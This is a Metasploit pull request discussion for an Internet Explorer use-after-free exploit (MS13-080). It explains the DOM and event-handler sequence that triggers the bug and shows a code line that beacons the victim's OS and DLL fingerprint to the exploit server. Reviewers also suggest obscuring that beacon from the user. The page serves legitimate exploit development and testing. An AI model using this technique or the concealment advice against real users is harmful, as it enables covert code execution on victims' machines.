Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free #2510
Conversation
…fter-Free This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893, except this was kept out of the public eye by multiple research companies and the vendor until the October patch release. This issue is a use-after-free vulnerability in CDisplayPointer via the use of a "onpropertychange" event handler. To setup the appropriate buggy conditions, we first craft the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. If we use a select() function for the CTextArea element, two important things will happen: a CDisplayPointer object will be created for CTextArea, and it will also trigger another event called "onselect". The "onselect" event will allow us to setup for the actual event handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger "onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer object can be forced by using an "Unslect" (other approaches also apply), but a reference of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call, because it is still trying to use that to update CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash finally occurs due to accessing the freed memory. By controling this freed memory, it is possible to achieve arbitrary code execution under the context of the user.
| return os_string; | ||
| } | ||
|
|
||
| function dll() { |
There was a problem hiding this comment.
This could be part of a mixin as presumably this javascript would be used for all exploits using hxds?
There was a problem hiding this comment.
Yeah, it will be. I recently obtained multiple versions of Office so I'll be looking into that. Ticket:
http://dev.metasploit.com/redmine/issues/8413
|
Works IE 8 Win7 JRE. Will check XP but only have Office 2k13... |
|
Thanks for testing. If you're on XP, then it will only use the msvcrt ROP. |
|
I was referring to the Win7 targets using Office |
|
Ah ok. Well no worries there, can let Juan test the rest :-) |
|
Defaults (JRE/MSVCRT) works fine for Win7/WinXP. N.B. Not always reliable if you try and run it again on an already exploited box (even restarting IE), crashes the tab, but generally works when the tab auto-restarts |
| } | ||
|
|
||
| window.onload = function() { | ||
| window.location = "#{get_resource}/search?o=" + os() + "&d=" + dll(); |
There was a problem hiding this comment.
Should really use XMLHttpRequest to POST the data back, or at least encode the data so its not quite so obvious to the user ;)
There was a problem hiding this comment.
Tried, actually. Made the exploit less stable, not sure why.
There was a problem hiding this comment.
Then perhaps just encode the query params or assign a random strings to identify the dlls/os's in the framework/javascript?
There was a problem hiding this comment.
I'll do random strings, thanks for the suggestion. Doesn't look like we offer any javascript code for encoding or hashing in Metasploit :-/
|
How's your WinDBG-fu? If you can capture one of the failed attempts, .dump the crash and e-mail to me, perhaps I can figure out why. |
|
|
||
| def get_sploit_html(cli, target_info) | ||
| os = target_info[:os] | ||
| dll = target_info[:dll] |
There was a problem hiding this comment.
I think dll isn't used in this function, is it? can be deleted?
Just giving some time in case @Meatballs1 / @wchen-r7 would like to handle the issues experienced by @Meatballs1 |
|
I have sent a crash dump to @wchen-r7 rapid7 address but it seemed reliable first exploitation so probably good to land. When I got debugging tools installed it got really reliable when I was trying to get a crash dump..! |
|
Juan - so I looked at the crash dump. As far as I could tell, the crash was properly controlled and redirected to the target address. The payload at the target address was fully decoded. Hard to tell what happens after that, because the dump doesn't show me a crash (it's at ntdll!DbgBreakPoint). I can only assume the payload failed for some reason in that particular case, I don't know why. We know typically this is either:
One way I know to determine which one is we kinda need to know whether Ben hit the failure before or after seeing the "Sending stage..." message in msfconsole. If he saw the message, that probably means the second. If not, I guess it's the first. |
|
Okey, in this case, just testing the office 2007 case and landing!! |
|
Office 2007 rop case also working: landing! |
|
Thanks for testing, guys. |
This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of a "onpropertychange" event handler. To setup the appropriate buggy conditions, we first craft the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. If we use a select() function for the CTextArea element, two important things will happen: a CDisplayPointer object will be created for CTextArea, and it will also trigger another event called "onselect". The "onselect" event will allow us to setup for the actual event handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger "onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer object can be forced by using an "Unslect" (other approaches also apply), but a reference of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash finally occurs due to accessing the freed memory. By controling this freed memory, it is possible to achieve arbitrary code execution under the context of the user.
The module has been tested against the following setups:
Demo for setup 1 (IE8 + Win 7 + Office 2007):
Demo for setup 2 (IE 8 + Win 7 + Office 2010):
Demo for setup 3 (IE 8 + Win 7 + JRE6):
Demo for setup 4 (IE8 + XP):